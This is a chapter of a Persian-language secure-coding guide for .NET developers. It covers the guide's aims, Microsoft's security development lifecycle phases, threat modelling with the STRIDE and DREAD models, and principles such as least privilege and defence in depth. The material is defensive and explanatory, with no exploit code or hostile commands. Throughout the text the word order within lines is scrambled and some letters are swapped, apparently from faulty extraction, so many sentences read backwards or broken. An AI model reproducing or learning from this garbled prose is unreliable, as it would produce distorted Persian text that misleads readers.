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 فصل اول -1

 مقدمه 1-1

 که هایی تحلیل. افزارهستند نرم پذیری آسیب اصلی دلایل برنامه، منطق در ها شکاف و خطاها مشکلات،

 در خطاها دلیل به هایریپذ آسیب بیشتر که است کرده اثبات گرفته صورت افزار نرم امنیت متخصصین توسط

 هاسازمان برای الزام یک به امن کدنویسی ٔ  ینهزم در افزارنرم دهندگانتوسعه آموزش بنابراین؛ نویسیهستند برنامه

 .است شده تبدیل

 این از سپس و کنند پیدا کارگزارها یا ها برنامه در را امنیتی های پذیری آسیب تا کنند می سعی مهاجمان

 و ها شبکه کنترل گرفتن دست به و ها داده و ها برنامه تخریب محرمانه، اطلاعات سرقت برای پذیریها آسیب

 تولید برای توان می را روشها بهترین و نویسی برنامه صحیح های تکنیک. کنند استفاده کامپیوتری های سیستم

 راهکار یک امن نویسی برنامه. کرد جلوگیری تحتوب های برنامه به حملات از تا کارگرفت به کیفیت با های کد

 .اند گرفته راهدف کاربردی هایسیستم که است هاییحمله مقابل در دفاعی

 برنامه دارند علاقه که بود خواهد افزارنرم نویسان برنامه و دهندگانتوسعه برای ارزش با منبع یک مستند این

 استقرار و سازیپیاده طراحی، شامل که افزارنرم تولید ٔ  چرخه طریق از کار این. کنند تولید بالا امنیت با های

 .باشد مسلط نت دات نویسی برنامه زبان به این مستند باید مخاطب. بود خواهد امکانپذیر ،شود می ها برنامه

 کاربردی های برنامه تولید برای اصلی چارچوب عنوان به سازمانها از بسیاری توسط گسترده صورت به نت دات

 حفره چگونه که شد خواهد داده آموزش افزارنرم دهندگانتوسعه به مستند این در. شود می گرفته کار به تحتوب

 محصول کیفیت کلی بهبود برای افزارنرم ٔ  چرخه طول در را امنیتی متقابل اقدام و شناسایی را امنیتی های

 کنند سازیپیاده

 مستند اهداف 1-1-1
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 :کند می دنبال را زیر اهداف مستند این

 شناخت در آنها به کمک و ASP.NET امنیتی معماری نت، دات های برنامه امنیت با نویسان برنامه آشناسازی

 .نت دات چارچوب رایج های تهدید و برنامه امنیتی های نیاز

 .امن افزار نرم تولید ٔ  چرخه شرح و نت دات چارچوب روی امنیتی حملات مورد در بحث ➢

 .پشته در حرکت فرایند معرفی و نت دات اسمبلیهای در رایج های تهدید شناسایی به کمک ➢

 رایج های حمله ورودی، اعتبارسنجی مختلف های روش ورودی، اعتبارسنجی به نیاز مورد در بحث ➢

 اعتبارسنجی برای روشها بهترین و اعتبارسنجی کنترل پذیریهای آسیب ورودی، اعتبارسنجی به

 .ورودی

 .زمینه دو این در رایج های تهدید و احرازهویت و مجازشماری فرایند معرفی ➢

 نشست، مدیریت در رایج های تهدید نشست، مدیریت های توکن برای امنیتی قواعد مورد در بحث ➢

 .نشست به مختلف های حمله و ASP.NET در نشست مدیریت های یکتکن

 نام های فضا و نت دات در رمزنگاری های حمله انواع نت، دات در رمزنگاری اهمیت معرفی ➢

 .نت دات در رمزنگاری

 های امضا و دیجیتال های ینامهگواه سازی، درهم مفاهیم نامتقارن، و متقارن رمزگذاری تشریح ➢

 .XML و دیجیتال

 دات در ثبت مختلف های ابزار و استثنا مدیریت مختلف سطوح امن، خطای مدیریت قواعد تشریح ➢

 .نت

 روی مسیر در حرکت های حمله فایل، مدیریت در امنیتی نگرانیهای فایل، مدیریت مفاهیم بررسی ➢

 .آن با مقابله در دفاعی های تکنیک و فایل مدیریت

 شد؟ خواهد داده آموزش چیزی چه 2-1-1
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 :آورد خواهند دست به دانش زیر های ینهزم در کنند مطالعه را مستند این که افرادی ➢

 امن نویسی برنامه مختلف قواعد و نت دات چارچوب امنیتی امکانات ➢

 امنیت و کد به دسترسی امنیت نقش، بر مبتنی امنیت نت، دات چارچوب اجرای زمان امنیتی مدل ➢

 .کلاس های کتابخانه

 اعتبارسنجی، کنترل پذیریهای آسیب کاهش های یکتکن اعتبارسنجی، مختلف های کنترل ➢

 از جلوگیری منظور به خروجی کدگذاری و SQL تزریق حملات مقابل در دفاعی های یکتکن

 ورودی اعتبارسنجی حملات

 viewstate یتامن و کوکی امنیت نشست، به حملات مقابل در دفاعی های تکنیک ➢

 و نشده مدیریت های خطا مدیریت کلاس، سطح در خطا مدیریت در پذیری آسیب کاهش ➢

 مختلف حملات مقابل در ویندوز لاگ امنیت سازیپیاده

 حملات مقابل در دفاعی های تکنیک و مسیر در حرکت حملات مقابل در دفاعی های تکنیک ➢

 کانونیسازی

 های روش و برنامه پیکربندی های فایل ماشین، پیکربندی های فایل در پذیریها آسیب کاهش ➢

 .کد امنیتی مرور

 خواهیم بررسی را نت دات در امنیی موارد بعد های فصل در و برشمرده را امنیت به مربوط کلی موارد دامها در

 .کرد

 امن تولید چرخه 2-1

 نرم به نیاز حاضر حال در کامپیوتر کاربران. کنند توجه امنیتی تهدیدات به باید افزار نرم تولیدکنندگان همه

 می کنند می توجه دیگران از موثرتر طور به امنیتی تهدیدات به که تولیدکنندگانی و دارند امن و اعتمادقابل افزار
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 اجتماعی، مسئولیت حس افزایش حاضر حال در ،ینهمچن .آورند دست به بازار در رقابتی مزیت توانند

 .دارد کمتر امنیت مدیریت و کمتر تعمیر به نیاز که است کرده امن افزار نرم ایجاد به وادار را تولیدکنندگان

 قطع باعث تواند می کاربران خصوصی حریم نگرانیهای از چشمپوشی. است توجه نیازمند نیز خصوصی حریم

 کاربران خصوصی حریم از که تولیدکنندگانی. شود بیاعتمادی و منفی های رسان پوشش قضایی، دعوی گسترش،

 دارای امن افزار نرم توسعه. شوند می متمایز خود رقبای از و آورند می بدست را آنها اعتماد کنند می محافظت

 .آن های معیار و فرآیند بهبود تجربیات، بهترین: عنصراست سه

 می دست به آنها اعمال چگونگی اندازهگیری از آن های معیار و است اول عنصر دو روی تمرکز مستند این در

 .آیند

. دارد داشته تمرکز عناصر این بر که است کرده سازیپیاده را افزاری نرم ٔ  توسعه دقیق فرآیند مایکروسافت

 تشخیص وهمچنین است مستندات و کد طراحی، در امنیت به مربوط های پذیری آسیب رساندن حداقل به هدف

 پذیری آسیب شدت و تعداد بهبودها این. است تولید حیات ٔ  چرخه طول در پذیری آسیب زودتر هرچه حذف و

 افزاری نرم برای امن افزار نرم تولید. دهد می بهبود را کاربران خصوصی حریم از حفاظت و کاهش را امنیتی های

 :است الزامی است یافته توسعه زیر های کاربرد برای که

 تجاری محیط در ➢

 حساس اطلاعات دیگر یا و( PII) شخصی شناسایی اطلاعات پردازش ➢

 دیگر های شبکه یا اینترنت روی بر منظم ارتباط برقراری برای ➢

 عنوان به .است صنعت در پیشرو افزار نرم امنیت تضمین فرایند یک مایکروسافت( SDL) امن تولید ٔ  چرخه

 در خصوصی حریم و امنیت تعبیه در مهمی نقش که بود SDL ،2004 سال از مایکروسافت اجباری سیاست یک

 خصوصی حریم و امنیت SDL عملی، و جامع رویکرد ترکیب با .است کرده ایفا مایکروسافت فرهنگ و افزارها نرم
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 قابل امنیتی های پیشرفت مایکروسافت شد باعث این. کرد معرفی تولید فرایند مراحل تمام طول در و ابتدا در را

 .باشد داشته SQL Server و ویستا ویندوز جمله از خود پرچمدار محصولات در ای ه شد شناخته و اندازهگیری

 امن تولید ٔ  چرخه های فاز 1-2-1

 .دارند وجود SDL از بعد و قبل نیازمندی دو. است شده تشکیل فاز پنج از SDL کلی طور به

 :از اندعبارت نیازمندیها و فازها این

 امنیتی آموزش: SDL از قبل نیازمندی ➢

 نیازمندیها: 1 فاز ➢

 طراحی: 2 فاز ➢

 سازیپیاده: 3 فاز ➢

 وارسی: 4 فاز ➢

 انتشار: 5 فاز ➢

 پاسخ: SDL از پس نیازمندی

 :دهد می نشان را نیازمندیها و فازها این زیر شکل

 

 SDL: فازهای 1-1شکل 

 یامنیت آموزش  1-1-2-1

 جدید های گرایش و امنیت مبانی درباره تا ببینند مناسب آموزش باید افزار نرم تولید های تیم اعضای تمام

 یک حداقل بایست می کنند می تولید افزاری نرم های برنامه که افرادی. باشند مطلع خصوصی حریم و امنیت در
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 نظر در با افزار نرم که کند تضمین تواند می امنیت آموزش. کنند شرکت امنیت آموزش کلاس یک در سال در بار

 مسالل در که کند کمک تولید های تیم به تواند می و است شده تولید خصوصی حریم و امنیت شدن گرفته

 حریم و امنیت مورد در اضافی های آموزش تا شوند می تشویق شدت به پروژه تیم اعضای. باشند بهروز امنیتی

 .بگیرند فرا را است لازم آنها محصولات و نیازها برای که خصوصی

 کلی دسته دو به توان می را مفاهیم این. هستند لازم موفق امن افزار نرم یک برای که هستند کلیدی مفاهیم

( برنامه مدیر آزمونگر، دهنده، توسعه) پروژه تیم فنی عضو هر .کرد تقسیم امنیتی پیشرفته مفاهیم و پایهای مفاهیم

 .باشد آشنا امنیتی مفاهیم این با باید

 :شود می زیر موارد شامل ای پایه مفاهیم

 امن های پیشفرض امتیاز، حداقل قانون عمق، در دفاع حمله، سطح کاهش: یامنیت یطراح ➢

 مدل یک برای کدنویسی تهدید، مدل یک برای طراحی تهدید، مدلسازی مرور: تهدید مدلسازی ➢

 تهدید مدل یک برای آزمون تهدید،

 تزریق ،بین سایتی اسکریپتنویسی صحیح، اعداد محاسباتی های خطا بافر، سرریز: امن یکدنویس ➢

SQL، شدهمدیریت کد مشکلات ضعیف، رمزنگاری 

 آزمون، تابعولوژیهای ریسک، ارزیابی عملکرد، آزمون مقابل در امنیت آزمون: یامنیت آزمون ➢

 آزمون خودکارسازی

 تحلیل خصوصی، حریم طراحی تجربیات بهترین خصوصی، حریم ٔ  داده انواع: یخصوص حریم ➢

 خصوصی حریم آزمون تجربیات بهترین خصوصی، حریم تولید تجربیات بهترین ریسک،

 هر .کند می فراهم فنی پرسنل برای ای پایه دانش یک است آمده ادامه در که ای پیشرفته مفاهیم آموزش

 هایی مثال .کنید بررسی را بیشتری پیشرفته مفاهیم که شود می پیشنهاد دهد، می اجازه منابع و زمان که قدر
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 فرایند امنیتی، نگرانیهای جزییات کاربری، واسط طراحی امنیتی، معماری و طراحی: از اندعبارت مفاهیم این از

 تهدید کاهش خاص های روش سازیپیاده و امنیتی پاس های

 .بگذرانند سال در را امنیتی آموزشی ٔ  برنامه یک حداقل باید برنامه مدیران و آزمونگرها تولیدکنندگان، تمام

 قبلا که هایی استاندارد با باید کنند می کار خدمات و محصولات روی که پروژه تیم اعضای درصد 80 حداقل

 .باشند داشته موافقت خدمت یا محصول انتشار از قبل شد لیست

 نیازمندیها: یک فاز  2-1-2-1

 تعیین» تحلیلهزینه و «پایهای سطح یک در امنیت گرفتن درنظر» پروژه درک شامل SDL نیازمندیهای فاز

 .شود می «سازگارهستند تجاری های نیاز با امنیت بهبود برای پشتیبانی و تولید های آیاهزینه اینکه

 :امنیتی نیازمندیهای

 یا دارد تطابق SDL های سیاست با شما تولید تیم آیا که شود مشخص تا کنید ایجاد کوتاه پرسشنامه یک

 .خیر

 تنها شخص یا تیم این. کنید مشخص را است محصول امنیت مدیریت و ردگیری مسیول که را شخصی یا تیم

 مساله وضعیتهر درباره ارتباطات و مسیولهماهنگی بلکه نیست است امن افزار نرم انتشار اینکه تضمین مسیول

 .نیزهست امنیتی

 درهر توان می را داده پایگاه و کند ردگیری را امنیتی های باگ تواند می باگ گزارش ابزار که شوید مطمئن

 .کرد جستجو امنیتی های باگ تمام برای لحظه

 امنیتی نه کمی سطح یک معیارها از مجموعه این. کنید مستند و تعریف پروژه برای امنیتی های باگ بار یک

 این. بخشد می بهبود را امنیتی مسالل با مرتبط های ریسک درک پروژه شروع در آن تعریف. کند می ایجاد را

 .شویم می نزدیک پروژه انتشار های تاری به اگر حتی شود ساده نباید هیچگاه بار باگ
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 است، شده اضافه انتشار این به تازگیبه که کند می استفاه مجوز دارای ثالث شخص های کد از شما برنامه اگر

 سازگاری اثبات مدرک ٔ  اراله به را ثالث شخص که دارد وجود مجوز قرارداد در قید یک که شوید مطمئن باید شما

 .کند می ملزم SDL نیازمندیهای از تعریفشده پیش از لیست یک با

 :یطراح دو فاز  3-1-2-1

. برد خواهید پیش SDL فرایند در را خود پروژه چگونه که کند می طرحریزی شما که است زمانی طراحی فاز

 ریسک تحلیل و کنید می مشخص کنید دنبال فاز این برای باید که هایی تجربه بهترین شما طراحی فاز طول در

 .کنید شناسایی را خود افزار نرم در ضعف نقاط و تهدیدها تا کنید می

 عملکردی های توصیف. است آن حیات ٔ  چرخه ابتدای پروژه یک طراحی روی تاثیرگذاری برای زمان بهترین

 می قرار کاربر اختیار در مستقیما که باشند داشته خصوصی حریم یا امنیتی امکانات توصیف به نیاز است ممکن

 امکان یک از استفاده از قبل کاربر موافقت یا خاص داده به دسترسی برای کاربر احرازهویت به نیاز مانند؛ گیرند

 چگونگی و امکانات این سازیپیاده چگونگی باید طراحی های توصیف. خصوصی حریم نظر از بالا ریسک دارای

 امنیت به توجه با که هستند امکاناتی امن، امکانات. بدهد شرح را امن امکانات عنوان به عملکردها همهسازیپیاده

 .آنها پردازش از قبل ها داده دقیق اعتبارسنجی نظیر اند ه شد مهندسی خوبی به

 .شود کامل طراحی فاز در باید که است حیاتی امنیتی های فعالیت از دیگر یکی تهدید مدلسازی

 تهدید مدلسازی 

 آسیب و تهدیدات شناسایی برای که است سیستماتیک فرآیند یک تهدید یمدلساز امنیتی، نگرانیهای برای

 .کنید کامل پروژه طراحی طول در را تهدید مدلسازی باید شما. شود می استفاده افزار نرم در پذیری

 .کند درک را کند می محافظت آن از که پروژه داراییهای اینکه مگر بسازد امن افزار نرم تواند نمی تیم یک
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 پذیر یبآس ها، حمله تهدیدها، شناسایی به کمک برای شما که است مهندسی تکنیک یک تهدید مدلسازی

 به تهدید مدلسازی فعالیت. کنید استفاده توانید می برنامه سناریو ٔ  ینهزم در متقابل اقدامات و پذیریها آسیب

 :تا کند می کمک شما

 .کنید شناسایی را خود امنیتی اهداف ➢

 .کنید شناسایی را مرتبط تهدیدات ➢

 .کنید شناسایی را مرتبط متقابل اقدامات و پذیریها آسیب ➢

 :شود می استفاده زیر موارد برای تهدید مدلسازی از

 .امنیتی اهداف به رسیدن برای برنامه طراحی به دادن شکل ➢

 .مهندسی کلیدی مات تصمی طول در مگیری تصمی کمک ➢

 .عملیات و توسعه طول در امنیتی مسالل بروز خطر کاهش ➢

 .است شده داده نشان زیر شکل در تهدید مدلسازی اصلی گام پنج
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 : فرآیند مدلسازی تهدید2-1شکل 

 با بود ید خواه قادر شما. کنید تصحیح 5 قدم تا 2 قدم مکرر انجام با تدریج به را خود تهدید مدل باید شما

 .کنید اضافه را بیشتری جزلیات برنامه طراحی مورد در بیشتر کشف و برنامه ٔ  توسعه عمر ٔ  چرخه در حرکت

 :از اندعبارت تهدید مدلسازی قدم پنج

 تلاش مقدار تعیین و تهدید مدلسازی های فعالیت تمرکز به روشن اهداف: یامنیت اهداف یشناسای -1 مرحله

 .کند می کمک بعدی مراحل گذراندن برای

 کند می کمک شما به برنامه مهم های نقش و ویژگیها نوشتن جزء به جزء: برنامه یکل مرور ایجاد -2 مرحله

 .کنید شناسایی 4 ٔ  مرحله طول در را مربوطه تهدیدات تا

 .کند می آسانتر را دقیقتر و مرتبطتر تهدیدات کشف برنامه، مکانیسم از دقیق درک: برنامه ٔ  یهتجز -3 مرحله
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 متن و سناریو به مربوط های تهدید تشخیص برای 3 و 2 مراحل جزلیات از: تهدیدات یشناسای -4 مرحله

 .کنید استفاده برنامهتان

 می مرور تهدیدات به مربوط ضعف نقاط شناسایی برای برنامه های لایه: پذیری آسیب یشناسای -5 مرحله

 کمک دهد، می رخ اشتباهات اغلب که مناطقی روی تمرکز در شما به پذیری آسیب بندی دسته از استفاده. شوند

 .کند می

 می کنیم. دو مدل رایج را برای شناسایی تهدیدات را در ادامه بررسی

 STRIDE مدل -1

STRIDE استفاده که برداری بهره نوع به توجه با شده شناخته تهدیدات تشخیص برای بندی طبقه طرح یک 

 :است شده ساخته زیر های مقوله از یک هر اول حرف از STRIDE ٔ  کلمه. شود می

 یک ولی دارند زیادی کاربران که کاربردی های برنامه برای کلیدی خطر (Spoofing Identity) یتهو جعل

 تبدیل به قادر نباید کاربران که معنا بدین. کنند می فراهم داده پایگاه و کاربردی برنامه سطح در اجرا ٔ  ینهزم

 .باشند دیگر کاربر صفات گرفتن یا دیگر کاربر به شدن

 داده تحویل آنها به که هایی داده توانند می بالقوه بطور کاربران( Tampering with Dataداده ) دستکاری

 ،POST و GET یجنتا کارخواه، سمت اعتبارسنجی بالقوه طور به نتیجه در و دهند بازگشت داده، تغییر را شده

 از تنها که بهره ٔ  دوره یا و نرخ مانند هایی، داده نباید برنامه. کنند دستکاری را غیره و HTTP یندسرآ کوکیها،

 دریافت های داده دقت به باید افزارهمچنین نرم. کند ارسال کاربر به را هستند حصول قابل افزار نرم خود داخل

 .کند اعتبارسنجی استفاده و سازی ذخیره از قبل را آن بودن اجرا قابل و سالم و بررسی را کاربران از شده

 معاملاتی اختلاف است ممکن کاربران باشد، ناکافی کاربران فعالیت ثبت یا بازرسی اگر: (Repudiationانکار )

 نتوانید شما و« !ندادم انتقال خارجی حساب این به پولی هیچ من»: گوید می کاربر یک اگر مثال، برای. کنند پیدا
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 بنابراین،؛ شود تلقی رفته دست از باید تراکنش زیاد احتمال به پس کنید، پیگیری برنامه طریق از را او های فعالیت

 دارد لایه درهر بازرسی های مسیر و وب دسترسی لاگ مانند انکار، عدم کنترل به نیاز برنامه آیا که بگیرید نظر در

 .خیر یا

 یک به خصوصی اطلاعات جزییات ارسال نگران کاربران( Information Disclosureاطلاعات ) افشای

 کاربر یک عنوان به یا و ناشناس چه کاربر، های داده عمومی کردن فاش امکان مهاجم یک اگر. هستند سیستم

 های برنامه بنابراین،؛ شد خواهد شهرت رفتن دست از و اعتماد رفتن بین از باعث مساله این باشد، داشته را مجاز

 خصوص به باشند، کاربر شناسه از سواستفاده و دستکاری از جلوگیری برای قوی کنترل دربردارنده باید کاربردی

 .کنند می استفاده برنامه کل اجرای برای واحد ٔ  ینهزم یک از آنها اگر

 معرض در است ممکن هایشان برنامه که باشند آگاه باید برنامه طراحان :(Denial of Serviceخدمت ) انکار

 جستجو پیییده، محاسبات بزرگ، های فایل مانند پرهزینه منابع از استفاده بنابراین،؛ باشد خدمت انکار ٔ  حمله

 .باشد شده رزرو ناشناس، کاربران نه و مجاز و معتبر کاربران برای باید طولانی های جو و پرس یا سنگین، های

 مهندسی باید برنامه از جنبه هر خدمت، انکار ساده حملات از جلوگیری منظور به کاربردی، های برنامه برای

 فایل ارایه از و کند استفاده داده پایگاه معدود و سریع های جو و پرس از دهد، انجام را ممکن کار کمترین تا شود

 .کند خودداری کاربر ازایهر به بفرد منحصر های پیوند و بزرگ های

 فراهم متمایز مدیریتی های نقش و کاربران ٔ  برنامه یک اگر :(Elevation of Privilege) امتیازات ارتقاء

 عدم فقط. دهد ترفیع بالاتر امتیاز یک به را خود نقش تواند نمی کاربر که کند حاصل اطمینان باید کند، می

 دسترسی حقوق ماتریس یک از باید عملیات عوضهمه در. نیست کافی نقشها به دار امتیاز های لینک نمایش

 .خاصهستند های عملکرد به دسترسی به قادر مجاز های نقش که شود تضمین تا بگذرند

 DREAD مدل  -2
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DREAD تهدید برایهر پیداشده های ریسک تعداد اولویتبندی و یسهمقا شمارش، برای بندی طبقه شمای یک 

 .است شده ارزیابی

 مستقیم صورت به وهمچنین گذارد می تاثیر ریسک نرخ تنظیم مورد در تفکر ٔ  نحوه روی DREAD مدلسازی

 ارزش محاسبه برای است شده داده نشان زیر در که DREAD الگوریتم. رود می کار به ریسکها سازی مرتب برای

 .است رده پنج همه میانگین که رود می کار به ریسک

Risk_DREAD  =  

(DAMAGE+REPRODUCIBILITY+EXPLOITABILITY+AFFECTED_USERS+DISCOVERABILITY) / 5 

 است جدیتر ریسک باشد بیشتر عدد این چه هر .کند می ایجاد ده و صفر بین عددی همیشه محاسبه این

 شمارش ٔ  نحوه از های مثال اینجا در. است شده ساخته زیر طبقات از کدام هر اول حروف از DREAD ٔ  کلمه

 :ایم آورده DREAD های رده

 :آورد می بار به خرابی چقدر شود، عملی تهدید یک اگر(: Damage Potential) یخراب پتانسیل

 .خرابی هیچ=صفر ➢

 .پذیرد می تاثیر یا شود می فاش منفرد کاربر یک های داده= 5 ➢

 .ها داده یا سیستم کل تخریب= 10 ➢

 است؟ چقدر تهدید یک تکرار سادگی: (Reproducibilityتکرار ) قابلیت

 .کاربردی ٔ  برنامه مدیران برای یحت غیرممکن، یا مشکل خیلی=  0 ➢

 .باشد مجاز کاربر یک به نیاز است ممکن است، موردنیاز گام دو یا یک=  5 ➢

 .احرازهویت بدون است، کافی آدرس نوار و وب مرورگر یک فقط=  10 ➢
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 است؟ موردنیاز چیزی چه تهدید یک از برداری بهره برای(: Exploitability) یبردار بهره قابلیت

 حمله پیشرفته یا سفارشی ابزار از استفاده شبکه، دانش و پیشرفته نویسی برنامه=  0 ➢

 سادگی به موجود حمله های ابزار از استفاده با تهدید یک یا دارد وجود اینترنت روی بدافزار=  5 ➢

 .شود می عملی

 وب مرورگر یک فقط=  10 ➢

 پذیرند؟ می تاثیر کاربران از تعداد چه (:Affected Usersمتاثر ) کاربران

 کدامچهی=  0 ➢

 آنها همه نه کاربران، از برخی=  5 ➢

 کاربران همه= 10 ➢

 است؟ چقدر تهدید این کشف سادگی(: Discoverabilityکشف ) قابلیت

 .است مدیریتی دسترسی یا برنامه کد به نیاز. غیرممکن یا مشکل خیلی=  0 ➢

 .کرد پیدا شبکه های رده بر نظارت یا زدن حدس با را آن توان می=  5 ➢

 به جستجو های موتور از استفاده با و دارد قرار عموم دسترس در این نظیر مشکلاتی جزییات=  9 ➢

 .است کشف قابل راحتی

 .است مشاهده قابل فرم یک در یا وب مرورگر آدرس نوار در اطلاعات=  10 ➢

 شود، می گرفته نظر در 10 معمولا کشف قابلیت موجود، کاربردی ٔ  برنامه یک امنیتی بررسی هنگام :نکته

 .شد خواهند کشف امنیتی مشکلات که شود می فرض چون
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 :سازیپیاده سه فاز 4-1-2-1

 شما فاز این در. دارد قرار اهمیت اول ٔ  درجه در شما افزار نرم هایی ن کاربر که است جایی سازیپیاده فاز

 شما افزار نرم امن استقرار چگونگی مورد در مگیری تصمی برای کارخواه که کنید می ایجاد را ابزاری و مستندات

 مسالل حذف و تشخیص برای سازیپیاده تجربیات بهترین شما که است زمانی سازیپیاده فاز. برد می کار به

 .کنید می ایجاد را خصوصی حریم و امنیتی

 افراد حال این با. باشد امن استقرار و پیشفرض تنظیمات طراحی، نظر از باید افزار نرم از انتشار هر ➢

 استفاده برنامه پیشفرض تنظیمات از وهمه کنند می استفاده ها برنامه از گوناگونی های صورت به

 چگونگی درباره بتوانند که بدهید امنیتی اطلاعات کافی اندازه به کاربران به باید شما. کنند نمی

 .بگیرند آگاهانه تصمیمات برنامه امن استقرار

 که را اطلاعاتی تا کنند برگزار جلساتی باید کاربری ٔ  تجربه های تیم و برنامه مدیریت تولید، تیم ➢

 .کنند بحث آن ٔ  درباره و شناسایی باشند، داشته افزار نرم از امن استفاده برای باید کاربران

 طرح این. کنند ایجاد کاربری امنیتی مستندات ایجاد برای طرح یک باید کاربری تجربه های تیم ➢

 کاربر به برنامه امنیتی های جنبه کردن منتقل. بگیرد بر در را پرسنلی های نیاز و برنامهریزیها باید

 .دارد ت اهمی آن عملکرد و برنامه کد پذیری آسیب عدم تضمین اندازه به دقیق و واضح صورت به

 که هایی چالش و مشکلات ٔ  درباره را نظرات موجود، های برنامه از جدید های انتشار برای ➢

 .کنید یجمعآور اند، ه داشت قبلی های نسخه امنسازی کاربرانهنگام

 محصول پیشفرض مستندات از بخشی عنوان به یا جداگانه صورت به را امن پیکربندیهای اطلاعات ➢

 .کنید ارایه کمک های فایل یا و
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 :وارسی چهار فاز 5-1-2-1

 کرد ایجاد قبلی های فاز در که را امنیتی اصول شما کد که کنید می تضمین شما وارسی، فاز طول در یوارس

 بررسی. شود می انجام امنیتی بررسی یک و خصوصی حریم و امنیتی آزمون طریق از این. کند می رعایت هاید،

. است آن ویرایش و مستندات مرور و آزمون کد، مرور تهدید، مدل روزرسانیهای به روی تیمی تمرکز یک امنیتی

 .شود می کامل فاز این طول در نیز عمومی انتشار خصوصی حریم مرور یک

 :گیرد برمی در را مسالل از حیطه دو امنیتی آزمون

 حیطه این. افزار نرم پردازش مورد های داده و افزار نرم دسترسپذیری و جامعیت محرمانگی، ➢

 توصیف تهدید مدل در که است هایی تهدید کاهش برای طراحیشده عملکرد و امکانات شاملتمام

 .اند ه شد

 بافر سرریز یک مثلا؛ بشوند امنیتی های پذیری آسیب به منجر است ممکن که لیمسای وجود عدم ➢

 امنیتی مشکلات که شود استفاده آن از نحوی به است ممکن کند می تجزیه را ها داده که کد در

 .کند ایجاد

 :انتشار پنج فاز  6-1-2-1

 برای را تیمتان و خود شما دیگر عبارت به یا کنید می آماده عمومی مصرف برای را افزار نرم شما انتشار فاز در

 فاز در اساسی مفاهیم از یکی. کنید می آماده افتد می اتفاق کاربر دستان در شما افزار نرم گرفتن قرار با که آنچه

 افزار نرم در خصوصی حریم یا امنیتی پذیری آسیب یک که است زمانی برای عملیات از طرح یک طراحی انتشار

 .است لازم انتشار از قبل خصوص حریم مرور و امنیتی هایی ن مرور یک اینجا تا. شود کشف شما

 تغییر هر برای را SDL خصوصی حریم پرسشنامه( بتا و آلفا تستی های انتشار شامل) عمومی انتشار ازهر قبل

 جدید، رفتار نمایش شامل مهم تغییرات. کنید پر است، شده ایجاد سازیپیاده وارسی در که مهمی خصوصی حریم

 حریم نیازمندیهای اینکه وجود با. شود می اطلاعیه یک متن در زیاد تغییر و متفاوت های داد انواع جمعآوری
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 انتشار از قبل امنیتی نیازمندیهای مدیریت به نیازی شوند، مدیریت کد عمومی انتشار ازهر قبل باید خصوصی

 .کنید کامل نهایی انتشار از قبل را امنیتی اییهن مرور یک باید شما حال این با. نیست عمومی

 پاسخ: SDL از پس نیازمندی 7-1-2-1

 ممکن امنیتی پذیری آسیب بههر دهی پاس برای باید محصول تولید تیم افزاری، نرم ٔ  برنامه یک انتشار از پس

 شامل که کنید ایجاد پاس طرح یک علاوه به. باشد دسترس در دارد، پاس یک به نیاز که خصوصی حریم مساله یا

 .باشد انتشار از پس بالقوه مسالل برای سازی آماده

 چیست؟ امن یکدنویس 3-1

 ثابت تحقیقات. گیرد صورت نتواند کد آن روی های حمل هیچگونه که است کدی نوشتن امن نویسی برنامه

 و تجزیه. باشند می هایستمس در پذیری آسیب عمومی دلایل منطقی معایب و اشکالات ،هانقص که است کرده

 با. است ناامن نویسی برنامه های یوهش و نویسی برنامه رایج اشتباهات آن، دلایل که است داده نشان هایلتحل

 مورد در نویسی برنامه آموزش و شود می خطاها اینگونه به منجر که کدنویسی ناامن های روش این شناسایی

 افزارنرم در پذیریها آسیب حذف یا کاهش در ای پیشگیرانه های گام توانند می هاسازمان جایگزین، امن های روش

 .بردارند استقرار از قبل

 امن یکدنویس قواعد 1-3-1

 :برشمرد زیر صورت به توان می را امن کدنویسی برای امنیتی قواعد

 حمله سطح رساندن حداقل به ➢

 امن های پیشفرض ایجاد ➢

 امتیاز حداقل قانون ➢

 عمق در دفاع قانون ➢
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 امن شکست ➢

 سرویسها به اعتماد عدم ➢

 وظایف جداسازی ➢

 ابهام مبنای بر امنیت از خودداری ➢

 امنیتی مشکلات درست اصلاح ➢

 حمله سطح رساندن حداقل به  1-1-3-1

 .کند می اضافه برنامه کل به را ریسکها از های مجموع شود، می اضافه کاربردی ٔ  برنامه یک به که امکانی هر

 .است حمله سطح کاهش با کلی ریسک کاهش امن تولید هدف

 .کند می سازیپیاده جستجو امکان با برخط راهنمای یک تحتوب کاربردی برنامه یک مثال عنوان به

 کاربران به محدود راهنما امکان اگر. باشد پذیر آسیب SQL تزریق حملات برابر در است ممکن جستجو عملکرد

 اعتبارسنجی مرکزی های روتین از راهنما امکان جستجوی عملکرد اگر. یابد می کاهش حمله احتمال باشد، مجاز

 بازنویسی راهنما امکان اگر حال این با. یابد می کاهش ٔ  توجه قابل طور به SQL تزریق انجام امکان بگذرد، داده

 بین از را حمله سطح تقریبا کار این ،(بهتر کاربری واسط یک طریق از مثلا) شود حذف جستجو عملکرد تا شود

 .بگیرد قرار همگان دسترس در اینترنت طریق از راهنما امکان اگر حتی برد می

 امن های پیشفرض ایجاد 2-1-3-1

 باید تجربه این پیشفرض صورت به حال این با. دارد وجود کاربران به تجربه یک انتقال برای زیادی های روش

 .دهند کاهش را خودشان امنیت باید باشند مجاز که صورتی در کاربران خود و باشد امن
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 فعال باید پیییده عبور های کلمه و های دور صورت به عبور ٔ  کلمه تغییر پیشفرض صورت به مثال عنوان به

 آنها برای کاربردی برنامه از استفاده تا کنند غیرفعال را امکان دو این که باشند مجاز است ممکن کاربران. باشد

 .بدهند افزایش را خود ریسک و باشد آسان

 امتیاز حداقل قانون 3-1-3-1

 تجاریشانرا های فرایند اجرای برای لازم امتیاز مقدار حداقل حسابها که کند می پیشنهاد امتیاز حداقل قانون

 های مجوز و شبکه حافظه، ،CPU های محدودیت نظیر منابع های مجوز کاربران، حقوق شامل ینا .باشند داشته

 .شود می فایل سیستم

 توانایی و داده پایگاه از خواندن دسترسی شبکه، به دسترسی به نیاز فقط افزار میان کارگزار یک مثال برای

 .شود داده مدیریتی امتیازات انافزار می این به نباید شرایطی هیچ تحت. دارد را لاگ فایل یک در نوشتن

 عمق در دفاع قانون  4-1-3-1

. بخشد می بهبود را سیستم کل امنیت امنیتی لایهای مکانیزم یک که کند می پیشنهاد عمق در دفاع قانون

 لازم امنیت استهنوز ممکن دیگر های مکانیزم بخورد، شکست امنیتی مکانیزم یک که شود باعث حمله یک اگر

 .بکنند فراهم را سیستم از حفاظت برای

 کم خیلی بینام حملات برابر در رخنه دارای مدیریتی کاربری واسط یک پذیری آسیب احتمال مثال عنوان به

